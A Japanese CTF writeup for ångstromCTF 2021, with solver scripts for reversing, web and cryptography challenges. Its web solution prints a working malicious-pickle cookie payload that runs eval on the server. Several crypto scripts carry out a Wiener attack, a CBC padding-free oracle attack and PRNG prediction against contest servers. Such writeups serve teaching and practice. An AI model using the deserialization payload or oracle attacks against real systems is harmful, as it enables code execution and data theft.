ångstromCTF 2021 Writeup

この大会は2021/4/3 9:00(JST)~2021/4/8 9:00(JST)に開催されました。
今回もチームで参戦。結果は2545点で1245チーム中56位でした。
自分で解けた問題をWriteupとして書いておきます。

Sanity Check (MISC 5)

Discordに入り、#rolesチャネルでフラグアイコンに投票すると、たくさんのチャネルが現れた。現れたチャネルの一つの#generalチャネルのトピックにフラグが書いてあった。

actf{always_gonna_give_you_up}

Archaic (MISC 50)

team7922@actf:~$ cd /problems/2021/archaic/
team7922@actf:/problems/2021/archaic$ ls -l
total 4
-r--r--r-- 1 problem2021_archaic problem2021_archaic 150 Apr  1  1921 archive.tar.gz
team7922@actf:/problems/2021/archaic$ gzip -dc archive.tar.gz
flag.txt00000000000000000000000000000045M9x014762 0ustar  rootrootactf{thou_hast_uncovered_ye_ol_fleg}
actf{thou_hast_uncovered_ye_ol_fleg}

Fish (MISC 60)

Stegsolveで開き、Gray bitsを見ると、フラグが現れた。
f:id:satou-y:20210414075156p:plain

actf{in_the_m0rning_laughing_h4ppy_fish_heads_in_th3_evening_float1ng_in_your_soup}

FREE FLAGS!!1!! (REV 50)

Ghidraでデコンパイルする。

undefined4 main(void)

{
  int iVar1;
  size_t sVar2;
  long in_FS_OFFSET;
  undefined4 local_128;
  int local_124;
  int local_120;
  int local_11c;
  char local_118 [264];
  long local_10;
  
  local_10 = *(long *)(in_FS_OFFSET + 0x28);
  puts(
      "Congratulations! You are the 1000th CTFer!!! Fill out this short survey to get FREE FLAGS!!!"
      );
  puts("What number am I thinking of???");
  __isoc99_scanf("%d",&local_11c);
  if (local_11c == 0x7a69) {
    puts("What two numbers am I thinking of???");
    __isoc99_scanf("%d %d",&local_120,&local_124);
    if ((local_120 + local_124 == 0x476) && (local_120 * local_124 == 0x49f59)) {
      puts("What animal am I thinking of???");
      __isoc99_scanf(" %256s",local_118);
      sVar2 = strcspn(local_118,"\n");
      local_118[sVar2] = '\0';
      iVar1 = strcmp(local_118,"banana");
      if (iVar1 == 0) {
        puts("Wow!!! Now I can sell your information to the Russian government!!!");
        puts("Oh yeah, here\'s the FREE FLAG:");
        print_flag();
        local_128 = 0;
      }
      else {
        puts("Wrong >:((((");
        local_128 = 1;
      }
    }
    else {
      puts("Wrong >:((((");
      local_128 = 1;
    }
  }
  else {
    puts("Wrong >:((((");
    local_128 = 1;
  }
  if (*(long *)(in_FS_OFFSET + 0x28) == local_10) {
    return local_128;
  }
                    /* WARNING: Subroutine does not return */
  __stack_chk_fail();
}

この結果から以下の入力をする必要があることがわかる。

・最初に0x7a69の10進数(31337)を入力
・次に和が0x476で、積が0x49f59となる2つの数値(419, 723)を入力
・最後に"banana"を入力
$ nc shell.actf.co 21703
Congratulations! You are the 1000th CTFer!!! Fill out this short survey to get FREE FLAGS!!!
What number am I thinking of???
31337
What two numbers am I thinking of???
419 723
What animal am I thinking of???
banana
Wow!!! Now I can sell your information to the Russian government!!!
Oh yeah, here's the FREE FLAG:
actf{what_do_you_mean_bananas_arent_animals}
actf{what_do_you_mean_bananas_arent_animals}

Jar (WEB 70)

cookieのcontentsの値にpickleでdumpしbase64エンコードした値が設定されている。
"a"を送信してみると、contentsには以下が設定されている。

gASVCAAAAAAAAABdlIwBYZRhLg==

base64デコードし、loadしてみる。

[a]

flagの値を表示させるようオブジェクトを作成する。

#!/usr/bin/python3
import pickle
import base64

class Exploit(object):
    def __reduce__(self):
        return (eval, ("flag",))

print(base64.b64encode(pickle.dumps([Exploit()])))

作成した結果は以下の通り。

b'gASVIwAAAAAAAABdlIwIYnVpbHRpbnOUjARldmFslJOUjARmbGFnlIWUUpRhLg=='

この値をクッキーのcontentsに設定して、リロードすると、フラグが表示された。
f:id:satou-y:20210414075557p:plain

actf{you_got_yourself_out_of_a_pickle}

Relatively Simple Algorithm (CRYPTO 40)

通常のRSA暗号。p, qもわかっているので、そのまま復号する。

from Crypto.Util.number import *

n = 113138904645172037883970365829067951997230612719077573521906183509830180342554841790268134999423971247602095979484887092205889453631416247856139838680189062511282674134361726455828113825651055263796576482555849771303361415911103661873954509376979834006775895197929252775133737380642752081153063469135950168223
p = 11556895667671057477200219387242513875610589005594481832449286005570409920461121505578566298354611080750154513073654150580136639937876904687126793459819369
q = 9789731420840260962289569924638041579833494812169162102854947552459243338614590024836083625245719375467053459789947717068410632082598060778090631475194567
e = 65537
c = 108644851584756918977851425216398363307810002101894230112870917234519516101802838576315116490794790271121303531868519534061050530562981420826020638383979983010271660175506402389504477695184339442431370630019572693659580322499801215041535132565595864123113626239232420183378765229045037108065155299178074809432

phi = (p - 1) * (q - 1)
d = inverse(e, phi)
m = pow(c, d, n)
flag = long_to_bytes(m)
print flag
actf{old_but_still_good_well_at_least_until_quantum_computing}

Exclusive Cipher (CRYPTO 40)

keyの長さが5とのことだが、フラグがどの位置かわからない。総当たりで、keyを算出して、printableのものを出力する。

def is_printable(s):
    for c in s:
        if ord(c) < 32 or ord(c) > 126:
            return False
    return True

enc = 'ae27eb3a148c3cf031079921ea3315cd27eb7d02882bf724169921eb3a469920e07d0b883bf63c018869a5090e8868e331078a68ec2e468c2bf13b1d9a20ea0208882de12e398c2df60211852deb021f823dda35079b2dda25099f35ab7d218227e17d0a982bee7d098368f13503cd27f135039f68e62f1f9d3cea7c'
enc = enc.decode('hex')

flag_head = 'actf{'

for i in range(len(enc) - 5 + 1):
    key = [-1] * 5
    for j in range(5):
        code = ord(enc[i+j]) ^ ord(flag_head[j])
        key[(i+j)%5] = code

    flag = ''
    for j in range(len(enc)):
        code = ord(enc[j]) ^ key[j % len(key)]
        flag += chr(code)
    if is_printable(flag):
        print '[+] index:', i
        print '[+] flag:', flag

実行結果は以下の通り。

[+] index: 20
[+] flag: Gohxyetssjpiiqx$oh?oactf{pihx+phc?fasu~la!&Kca `sjc ol+ecrypshi@eaeblTeeu@|leh@rkuYwjreYgdv}(?Lkob?gqcm?dj rwn$orwnv emrtti>
[+] index: 47
[+] flag: B4ihg`/rctu2haf!4i/qd8uveu2ih5u3b/xd(tnrdz'[}d{actf{n|5`8sinv3hP{d>c|J`>tPbi>iPln.Xgtw>Xwzs&)/Rn4c/yt8l/zo{sgp!4sgps{d}lq/h.
[+] index: 49
[+] flag: G;aore zdap=`fs$;a(da7}qpp=ao p<j(ma'|igau/\hatidactf{ e7{n{s<`Wna1k{_e1|Wwl1aWyk!P`ar1Ppov)!(Gk;k(lq7d(ojt{`e$;{`evtlzyt `)
[+] index: 55
[+] flag: Congratulations on decrypting the message! The flag is actf{who_needs_aes_when_you_have_xor}. Good luck on the other crypto!
[+] index: 115
[+] flag: P,yspr7bxcg*xzq3,y4fv emrg*ys"g+r4ov0duevb7@jvcqxctc~g"r cryd+xKlv&sg]r&dKu{&yK{|6H|ce&Hlma>94E|,s4nf |4m}cc|g3,c|gactf{c7x5
actf{who_needs_aes_when_you_have_xor}

Keysar v2 (CRYPTO 40)

暗号の処理は以下の通り。

・shift: 既定の数値
・key: 既定の鍵
・flag: フラグ

・rkey: 空文字で設定
・keyの各文字でrkeyになければ連結
・アルファベット小文字の各文字でrkeyになければ連結
・rkeyをshiftで左にシフト
・フラグの各文字について
 ・アルファベット小文字の場合は、アルファベットのインデックスに対応するrkeyの文字
 ・そうでない場合は、そのまま文字
 を連結する。

換字式暗号であることと暗号文が長いことを考えると、quipqiupで復号すればよい。

according to all known laws of aviation, there is no way a bee should be able to fly. its wings are too small to get its fat little body off the ground. the bee, of course, flies anyway because bees don't care what humans think is impossible. yellow, black. yellow, black. yellow, black. yellow, black. ooh, black and yellow! let's shake it up a little. barry! breakfast is ready! coming! hang on a second. hello? barry? adam? can you believe this is happening? i can't. i'll pick you up. looking sharp. use the stairs. your father paid good money for those. sorry. i'm excited. here's the graduate. we're very proud of you, son. a perfect report card, all b's. very proud. ma! i got a thing going here. you got lint on your fuzz. ow! that's me! wave to us! we'll be in row 118,000. bye! barry, i told you, stop flying in the house! hey, adam. hey, barry. is that fuzz gel? a little. special day, graduation. never thought i'd make it. three days grade school, three days high school. those were awkward. three days college. i'm glad i took a day and hitchhiked around the hive. you did come back different. hi, barry. artie, growing a mustache? looks good. hear about frankie? yeah. you going to the funeral? no, i'm not going. everybody knows, sting someone, you die. don't waste it on a squirrel. such a hothead. i guess he could have just gotten out of the way. i love this incorporating an amusement park into our day. that's why we don't need vacations. boy, quite a bit of pomp... under the circumstances. well, adam, today we are men. we are! bee-men. amen! hallelujah! students, faculty, distinguished bees, please welcome dean buzzwell. welcome, new hive city graduating class of... ...9:15. that concludes our ceremonies. and begins your career at honex industries! will we pick ourjob today? i heard it's just orientation. heads up! here we go. keep your hands and antennas inside the tram at all times. wonder what it'll be like? a little scary. welcome to honex, a division of honesco and a part of the hexagon group. this is it! wow. wow. we know that you, as a bee, have worked your whole life to get to the point where you can work for your whole life. honey begins when our valiant pollen jocks bring the nectar to the hive. our top-secret formula is automatically color-corrected, scent-adjusted and bubble-contoured into this soothing sweet syrup with its distinctive golden glow you know as... honey! that girl was hot. she's my cousin! she is? yes, we're all cousins. right. you're right. at honex, we constantly strive to improve every aspect of bee existence. these bees are stress-testing a new helmet technology. what do you think he makes? not enough. here we have our latest advancement, the krelman. actf{keyedcaesarmorelikesubstitution}

文章の末尾にフラグがあった。

actf{keyedcaesarmorelikesubstitution}

sosig (CRYPTO 70)

RSA暗号だが、eの値が非常に大きいので、Wiener attackで復号する。

from fractions import Fraction
from Crypto.Util.number import *

def egcd(a, b):
    x,y, u,v = 0,1, 1,0
    while a != 0:
        q, r = b//a, b%a
        m, n = x-u*q, y-v*q
        b,a, x,y, u,v = a,r, u,v, m,n
        gcd = b
    return gcd, x, y

def decrypt(p, q, e, c):
    n = p * q
    phi = (p - 1) * (q - 1)
    gcd, a, b = egcd(e, phi)
    d = a
    pt = pow(c, d, n)
    return long_to_bytes(pt)

def continued_fractions(n,e):
    cf = [0]
    while e != 0:
        cf.append(int(n/e))
        N = n
        n = e
        e = N%e
    return cf

def calcKD(cf):
    kd = list()
    for i in range(1,len(cf)+1):
        tmp = Fraction(0)
        for j in cf[1:i][::-1]:
            tmp = 1/(tmp+j)
        kd.append((tmp.numerator,tmp.denominator))
    return kd

def int_sqrt(n):
    def f(prev):
        while True:
            m = (prev + n/prev)/2
            if m >= prev:
                return prev
            prev = m
    return f(n)

def calcPQ(a,b):
    if a*a < 4*b or a < 0:
        return None
    c = int_sqrt(a*a-4*b)
    p = (a + c) /2
    q = (a - c) /2
    if p + q == a and p * q == b:
        return (p,q)
    else:
        return None

def wiener(n,e):
    kd = calcKD(continued_fractions(n,e))
    for (k,d) in kd:
        if k == 0:
            continue
        if (e*d-1) % k != 0:
            continue
        phin = (e*d-1) / k
        if phin >= n:
            continue
        ans = calcPQ(n-phin+1,n)
        if ans is None:
            continue
        return (ans[0],ans[1])

n = 14750066592102758338439084633102741562223591219203189630943672052966621000303456154519803347515025343887382895947775102026034724963378796748540962761394976640342952864739817208825060998189863895968377311649727387838842768794907298646858817890355227417112558852941256395099287929105321231423843497683829478037738006465714535962975416749856785131866597896785844920331956408044840947794833607105618537636218805733376160227327430999385381100775206216452873601027657796973537738599486407175485512639216962928342599015083119118427698674651617214613899357676204734972902992520821894997178904380464872430366181367264392613853
e = 1565336867050084418175648255951787385210447426053509940604773714920538186626599544205650930290507488101084406133534952824870574206657001772499200054242869433576997083771681292767883558741035048709147361410374583497093789053796608379349251534173712598809610768827399960892633213891294284028207199214376738821461246246104062752066758753923394299202917181866781416802075330591787701014530384229203479804290513752235720665571406786263275104965317187989010499908261009845580404540057576978451123220079829779640248363439352875353251089877469182322877181082071530177910308044934497618710160920546552403519187122388217521799
c = 13067887214770834859882729083096183414253591114054566867778732927981528109240197732278980637604409077279483576044261261729124748363294247239690562657430782584224122004420301931314936928578830644763492538873493641682521021685732927424356100927290745782276353158739656810783035098550906086848009045459212837777421406519491289258493280923664889713969077391608901130021239064013366080972266795084345524051559582852664261180284051680377362774381414766499086654799238570091955607718664190238379695293781279636807925927079984771290764386461437633167913864077783899895902667170959671987557815445816604741675326291681074212227

p, q = wiener(n, e)

flag = decrypt(p, q, e, c)
print flag
actf{d0ggy!!!111!1}

Home Rolled Crypto (CRYPTO 70)

サーバの処理概要は以下の通り。

■1
・入力した16進数文字列をデコードし、暗号化する。
 ・keyの長さは16*3
 ・平文の長さが16の倍数になるよう\x00でパディング
 ・ブロック単位で暗号化
  ・3回以下の暗号化
   ・k: keyのi番目ブロック
   ・数値化して &k, ^kの順に暗号化

■2
・以下10回繰り返し
 ・ランダムな平文を表示
 ・表示の平文の暗号を答える。
  →間違えたら、終了
・10回正解したらフラグが表示される。

bit単位で1対1対応するので、例えば以下のバイトを指定すれば、すべてのパターンがわかる。

\x00の16バイト + \x01の16バイト

これで対応するビットから2で提示の平文を暗号化する。

import socket

def recvuntil(s, tail):
    data = b''
    while True:
        if tail in data:
            return data.decode()
        data += s.recv(1)

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect(('crypto.2021.chall.actf.co', 21602))

data = recvuntil(s, '? ')
print data + '1'
s.sendall('1\n')
data = recvuntil(s, ': ')
pt = '0' * 32 + 'f' * 32
print data + pt
s.sendall(pt + '\n')
data = recvuntil(s, '\n').rstrip()
print data

tbl = bin(int(data, 16))[2:].zfill(256)

data = recvuntil(s, '? ')
print data + '2'
s.sendall('2\n')

for _ in range(10):
    data = recvuntil(s, '\n').rstrip()
    print data

    pt = data.split(' ')[-1]
    b_pt = bin(int(pt, 16))[2:].zfill(256)
    b_ct = ''
    for i in range(len(b_pt)):
        if b_pt[i] == '0':
            b_ct += tbl[i%128]
        else:
            b_ct += tbl[(i%128)+128]
    ct = ''
    for i in range(0, len(b_ct), 4):
        ct += hex(int(b_ct[i:i+4], 2))[2:]
    print ct
    s.sendall(ct + '\n')

data = recvuntil(s, '\n').rstrip()
print data
data = recvuntil(s, '\n').rstrip()
print data

実行結果は以下の通り。

Would you like to encrypt [1], or try encrypting [2]? 1
What would you like to encrypt: 00000000000000000000000000000000ffffffffffffffffffffffffffffffff
744390b4619fdc11266075b044474846704210b4210ddc112460351040434042
Would you like to encrypt [1], or try encrypting [2]? 2
Encrypt this: b978acd3a8f76b3ac979d98d1b36798b85c6d383d840e638ad05fe2e166ef582
744310b4610ddc112660353044434046704310b4219fdc112660359040434846
Encrypt this: d63e298aae092a9db95a43d9326f62bc0dc9c9d8948f23c5d8d9c4a5f6938a5a
704390b4619fdc112660353044434842704210b4611ddc112660351040474046
Encrypt this: 7ea2a6195955cd6030d7446f3cbf4f5cfbbe65b0763bfc0a418f446e5fbedc99
704310b4218fdc112660359040434042744390b4218ddc112660359040434046
Encrypt this: c168200e78ee6b670ad13b7dee0d690438a508e820a874f6cb4cf83e2c30d723
744390b4211ddc112460759040434042744290b4611fdc112460359040474846
Encrypt this: f3dd5abb23a991004df38675ce587865af1a82863ff1ce5c451d46532a90396a
744290b4611fdc112660759040474042704310b4610fdc11266035b044474046
Encrypt this: fd40e0381485eef7a6ff614a9b1b3fbaba1aea51913547ae3b8d7a2ac0f7f6fb
704310b4611fdc11246035b044474046744310b4618fdc112460359044434846
Encrypt this: 868b507fe126ed738c2eda6c222100b1b001980f833493a8076af2e7773bdb41
704290b4219ddc112660359044474846744210b4618fdc112460351040474046
Encrypt this: feacca4474b019404185bb6395d4f2a6e7f8f08761e9df318de6e1ea2a5e4212
704310b4210fdc112660759040434842704310b4211fdc112660351044434846
Encrypt this: e88677589fda62f0d479dbb7a153d8359af46a94485bb0f84b597ad29e5b3c4f
744390b4610ddc112660351044474042744390b4218ddc112460353040474042
Encrypt this: 8fabf5c64fba810b719e41d534044cea1d88810348a13a4c1eacb9bffa1ba7bc
704210b4210ddc112660353040434046704310b4211fdc112460751044474842
W
actf{no_bit_shuffling_is_trivial}
actf{no_bit_shuffling_is_trivial}

Follow the Currents (CRYPTO 70)

暗号の処理概要は以下の通り。

・plain: "atcf{"が含まれている。
・keystream()に対して1バイトずつXORする。

keystreamは実質最初の2バイトが決まると決定するので、最初の2バイトのブルートフォースで復号する。

#!/usr/bin/python3
import zlib

def keystream(key):
    index = 0
    while 1:
        index+=1
        if index >= len(key):
            key += zlib.crc32(key).to_bytes(4,'big')
        yield key[index]

with open('enc', 'rb') as f:
    enc = f.read()

for i in range(65536):
    key = i.to_bytes(2, byteorder='big')
    k = keystream(key)
    plaintext = []
    for c in enc:
        plaintext.append(c ^ next(k))
    plain = bytes(plaintext)
    if b'actf{' in plain:
        print(plain)
        break

実行結果は以下の通り。

b"x''R@\xc5\x05\xfb/9\xe7\x10\x13L\xc5\xd6\x19 minutes left before the ctf starts so i have no idea what to put here other than the flag which is actf{low_entropy_keystream}"
actf{low_entropy_keystream}

I'm so Random (CRYPTO 100)

サーバの処理概要は以下の通り。

・r1: seedが数値8桁のGenerator
・r2: seedが数値8桁のGenerator
・以下繰り返し
 ・r指定(3回まで実行可能)
  ・1.getNum() * r2.getNum()表示
 ・g指定
  ・以下2回繰り返し
   ・次のr1.getNum() * r2.getNum()を当てる
   →2回とも当てたらフラグが表示される。

※getNum()
・seed: seed**2を16桁数値文字列にし、4バイト目から12バイトを切り出したもの

rで出力した数値を素因数分解して、構成する数値を総当たりして、次の数値と合うものを探せばよい。

import socket
from sympy import divisors

def recvuntil(s, tail):
    data = b''
    while True:
        if tail in data:
            return data.decode()
        data += s.recv(1)

def getNum(seed):
    DIGITS = 8
    new_seed = int(str(seed**2).rjust(DIGITS*2, "0")[DIGITS//2:DIGITS + DIGITS//2])
    return new_seed

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect(('crypto.2021.chall.actf.co', 21600))

data = recvuntil(s, '? ')
print data + 'r'
s.sendall('r\n')
data = recvuntil(s, '\n').rstrip()
print data
num1 = int(data)
div = divisors(num1)[::-1]

data = recvuntil(s, '? ')
print data + 'r'
s.sendall('r\n')
data = recvuntil(s, '\n').rstrip()
print data
num2 = int(data)

data = recvuntil(s, '? ')
print data + 'r'
s.sendall('r\n')
data = recvuntil(s, '\n').rstrip()
print data
num3 = int(data)

for d1 in div:
    d2 = num1 // d1
    n1 = getNum(d1)
    n2 = getNum(d2)
    if n1 * n2 == num2:
        break

n1 = getNum(n1)
n2 = getNum(n2)
assert n1 * n2 == num3

data = recvuntil(s, '? ')
print data + 'g'
s.sendall('g\n')

for i in range(2):
    n1 = getNum(n1)
    n2 = getNum(n2)
    num = n1 * n2
    data = recvuntil(s, '? ')
    print data + str(num)
    s.sendall(str(num) + '\n')

data = recvuntil(s, '\n').rstrip()
print data
data = recvuntil(s, '\n').rstrip()
print data

実行結果は以下の通り。

Would you like to get a random output [r], or guess the next random number [g]? r
1261727773530084
Would you like to get a random output [r], or guess the next random number [g]? r
405456470536536
Would you like to get a random output [r], or guess the next random number [g]? r
4035328445379777
Would you like to get a random output [r], or guess the next random number [g]? g
What is your guess to the next value generated? 124666902636048
What is your guess to the next value generated? 1166652205028904
Congrats! Here's your flag:
actf{middle_square_method_more_like_middle_fail_method}
actf{middle_square_method_more_like_middle_fail_method}

Circle of Trust (CRYPTO 100)

暗号の処理概要は以下の通り。

・flag: 長さが16の倍数になるよう\x00でパディング
・keynum: 128bitランダム整数
・ivnum: 128ビットランダム整数
・key: keynumの文字列化(ランダム16バイト)
・iv: ivnumの文字列化(ランダム16バイト)
・x: 1~BOUNT*MULTのランダム整数 / MULT
  ※0~2**128の小数
・以下3回繰り返し
 ・a, b = nums(x)
  ・a =  (- x * MULT 以上 x * MULT 以下整数) / MULT
   ※ - x ~ x の小数
  ・b = (x ** 2 - a ** 2).sqrt()
  ・random.randrange(2)の結果が1の場合、 b *= -1
 ・keynum + a, ivnum + bを表示

以下のことを考えていく。

a**2 + b**2 = x**2(xは不明だが、3つのa, bに対して共通)

・keynum + a = X
・ivnum + b = Y
とする。

(X - keynum)**2 + (Y - ivnum)**2 == x**2
この円の上に3点が乗っていて、円の中心は(keynum, ivnum)。

このことから円の中心を求めれば、keyとivがわかり、フラグを復号することができる。

#!/usr/bin/python3
from decimal import Decimal, getcontext
from Crypto.Cipher import AES

getcontext().prec = 50

def unpad(s):
    return s.rstrip(b'\x00')

def get_circle_center(x1, y1, x2, y2, x3, y3):
    d = 2 * ((y1 - y3) * (x1 - x2) - (y1 - y2) * (x1 - x3))
    x = ((y1 - y3) * (y1 ** 2 - y2 ** 2 + x1 ** 2 - x2 ** 2) - (y1 - y2) * (y1 ** 2 - y3 ** 2 + x1 ** 2 - x3 ** 2)) / d
    y = ((x1 - x3) * (x1 ** 2 - x2 ** 2 + y1 ** 2 - y2 ** 2) - (x1 - x2) * (x1 ** 2 - x3 ** 2 + y1 ** 2 - y3 ** 2)) / -d
    return x, y

with open('output.txt', 'r') as f:
    data = f.read()

params = [[Decimal(param.split(', ')[0][1:]), Decimal(param.split(', ')[1][:-1])] for param in data.split('\n')[:3]]
ct = bytes.fromhex(data.split('\n')[3])

x, y = get_circle_center(params[0][0], params[0][1], params[1][0], params[1][1], params[2][0], params[2][1])
keynum = round(x)
ivnum = round(y)
print('[+] keynum :', keynum)
print('[+] ivnum  :', ivnum)

key = keynum.to_bytes(16, 'big')
iv = ivnum.to_bytes(16, 'big')
cipher = AES.new(key, AES.MODE_CBC, iv=iv)
flag = unpad(cipher.decrypt(ct))
print(flag)

実行結果は以下の通り。

[+] keynum : 37208231231867697178862544207654698732
[+] ivnum  : 332394261916597077667241952352964236593
b'actf{elliptical_curve_minus_the_curve}'
actf{elliptical_curve_minus_the_curve}

Substitution (CRYPTO 130)

サーバの処理概要は以下の通り。

key: フラグの各文字のASCIIコードの配列
入力値valueによって、以下の和を表示する。

sum = 0
sum = sum * value + key[0]
sum = sum * value + key[1]
sum = sum * value + key[2]
      :
return sum % 691

もう少し読み下してみる。

■value = 0の場合
sum = key[-1] % 691

■value = 1の場合
sum = key[0] + key[1] + ... + key[-1] % 691

■value = 2の場合
sum = key[0] * 2**n + key[1] * 2**(n-1) + ... + key[-1]

行列で考えると以下のようになる。

0    0        ... 1       key[0]    125
1    1        ... 1       key[1]     :
2**n 2**(n-1) ... 1       key[2]     :
        :              ×    :   =  :

剰余環691上で行列を使って方程式を解けばよいが、keyのサイズがわからないため、1から総当たりで方程式を解く。

#!/usr/bin/sage
import socket

def recvuntil(s, tail):
    data = b''
    while True:
        if tail in data:
            return data.decode()
        data += s.recv(1)

def create_matrix(d):
    M = []
    for i in range(d):
        row = []
        for j in range(d):
            row.append(i**(d-j-1))
        M.append(row)
    return M

def matrix_to_key(k, size):
    key = ''
    for i in range(size):
        code = k[i][0]
        if code < 32 or code > 126:
            return ''
        else:
            key += chr(code)
    return key

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect(('crypto.2021.chall.actf.co', 21601))

data = recvuntil(s, '\n').rstrip()
print data

sub = []
for i in range(50):
    data = recvuntil(s, '> ')
    print data + str(i)
    s.sendall(str(i) + '\n')
    data = recvuntil(s, '\n').rstrip()
    print data
    sub.append([int(data.split(' ')[1])])

    M = matrix(Zmod(691), create_matrix(i+1))
    S = matrix(Zmod(691), sub)
    K = M.inverse() * S
    key = matrix_to_key(K, i + 1)
    if 'actf{' in key:
        print key
        break

実行結果は以下の通り。

Enter a number and it will be returned with our super secret synthetic substitution technique
> 0
>> 125
> 1
>> 492
> 2
>> 670
> 3
>> 39
> 4
>> 244
> 5
>> 257
> 6
>> 104
> 7
>> 615
> 8
>> 129
> 9
>> 520
> 10
>> 428
> 11
>> 599
> 12
>> 404
> 13
>> 468
> 14
>> 465
> 15
>> 523
> 16
>> 345
> 17
>> 44
> 18
>> 425
> 19
>> 515
> 20
>> 116
> 21
>> 120
> 22
>> 515
> 23
>> 283
> 24
>> 651
> 25
>> 199
> 26
>> 69
> 27
>> 388
> 28
>> 319
> 29
>> 410
> 30
>> 133
> 31
>> 267
> 32
>> 215
> 33
>> 352
> 34
>> 521
> 35
>> 270
> 36
>> 629
> 37
>> 564
> 38
>> 662
> 39
>> 640
actf{polynomials_20a829322766642530cf69}
actf{polynomials_20a829322766642530cf69}

Oracle of Blair (CRYPTO 160)

サーバの処理は入力した文字列で"{}"をflagに置き換え、AES-CBCの復号を行い表示するようになっている。1文字ずつはみ出させ、復号結果を比較しながら、フラグ文字列を割り出していく方式が使えそうだ。

$ nc crypto.2021.chall.actf.co 21112
give input: 7b7d
25abfb806ac1465b260aa1eed2d0c1a4fd4737002526d841c7d3e9bec9a1dc95
give input: 347b7d
0c927b5c52d744d4a35d77624fa824cf6c70b0a22280c2bd8993e304fc3664dc
give input: 34347b7d
6c8af22c1018e020e56eef7fb1c6a9db2112ef6deff0bc34f4bd3cd17a46ecd2
give input: 3434347b7d
7f7662bc656814e219fe97b4a6dbe862811965205cb4c9ca6e9498b7d6903567
give input: 343434347b7d
dd35d25aff36272193d9ab1ffa033c32f23b442dcded174e72d6394b3b3b228e
give input: 34343434347b7d
3d5aafeb27a1505a039ad210e4a0a0c8535841e7697a0a7cc105156510edaacb
give input: 3434343434347b7d
43f44725226479d8f2817f647ac9695c2769080241a5e14c10af64b88ef434e9
give input: 343434343434347b7d
22c735b69171b2bcd8d8bae68a90634a38c598aeb2d350cfcbd739a7325ccedd
give input: 34343434343434347b7d
5756a7894733dd8703efaeb71d7738438826800222647391a3a437b288e1ff7d5ac255a79cb72f70067af36526c1325b

この方式のイメージは以下のようになる。

0123456789abcdef
XXXXXXXXXXXXXXXX PT00 ^ IV   --> CT00
XXXXXXXXXXXXXXX? PT01 ^ CT00 --> CT01
XXXXXXXXXXXXXXXX PT02 ^ CT01 --> CT02
XXXXXXXXXXXXXXXF PT03 ^ CT02 --> CT03
FFFFFFFFFFFFFFFF
FFFFFFFPPPPPPPPP

CT00 = CT02, CT01 = CT03 の場合、PT01 = PT03になる。

0123456789abcdef
XXXXXXXXXXXXXXXX PT00 ^ IV   --> CT00
XXXXXXXXXXXXXXX? PT01 ^ CT00 --> CT01
XXXXXXXXXXXXXXXF PT02 ^ CT01 --> CT02
FFFFFFFFFFFFFFFF PT03 ^ CT02 --> CT03
FFFFFFFPPPPPPPPP

以上を元にスクリプトにする。

import socket

def recvuntil(s, tail):
    data = b''
    while True:
        if tail in data:
            return data.decode()
        data += s.recv(1)

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect(('crypto.2021.chall.actf.co', 21112))

flag = ''
for i in range(25):
    for code in range(32, 127):
        text = 'X' * (31 - i) + flag + chr(code) + 'X' * (31 - i) + '{}'
        print '[+]', text
        ct = text.encode('hex')
        data = recvuntil(s, ': ')
        print data + ct
        s.sendall(ct + '\n')
        data = recvuntil(s, '\n').rstrip()
        print data
        pt1 = data[32:64]
        pt3 = data[96:128]
        if pt1 == pt3:
            flag += chr(code)
            break

print '[*] flag:', flag

実行結果は以下の通り。

        :
[+] XXXXXXXactf{cbc_more_like_ecb_czXXXXXXX{}
give input: 58585858585858616374667b6362635f6d6f72655f6c696b655f6563625f637a585858585858587b7d
3d831c1bc23df94e6b060c522a37e23e29b7997ba6d0938fd1c51ec08dfb2da85c9b1b0de437ab5839bb5c2a2a8ac5439171e2b70356cae9ed0692a13703d1fb
[+] XXXXXXXactf{cbc_more_like_ecb_c{XXXXXXX{}
give input: 58585858585858616374667b6362635f6d6f72655f6c696b655f6563625f637b585858585858587b7d
31b6db92af06a5a459a6d155fc76805c0e380473ae91692fcf6290575238c35b5c9b1b0de437ab5839bb5c2a2a8ac5429171e2b70356cae9ed0692a13703d1fb
[+] XXXXXXXactf{cbc_more_like_ecb_c|XXXXXXX{}
give input: 58585858585858616374667b6362635f6d6f72655f6c696b655f6563625f637c585858585858587b7d
42f74055898ade11bea70a4c2c83a8835137a4400457db56f276bdbb74408c3c5c9b1b0de437ab5839bb5c2a2a8ac5459171e2b70356cae9ed0692a13703d1fb
[+] XXXXXXXactf{cbc_more_like_ecb_c}XXXXXXX{}
give input: 58585858585858616374667b6362635f6d6f72655f6c696b655f6563625f637d585858585858587b7d
39ef787e158091a3c31a25ae8d52a3e39171e2b70356cae9ed0692a13703d1fb5c9b1b0de437ab5839bb5c2a2a8ac5449171e2b70356cae9ed0692a13703d1fb
[*] flag: actf{cbc_more_like_ecb_c}
actf{cbc_more_like_ecb_c}

Survey (MISC 5)

アンケートに答えたら、フラグが表示された。

actf{roly_poly_fish_heads_are_never_seen_drinking_cappuccino_in_italian_restaurants_with_oriental_women_yeah}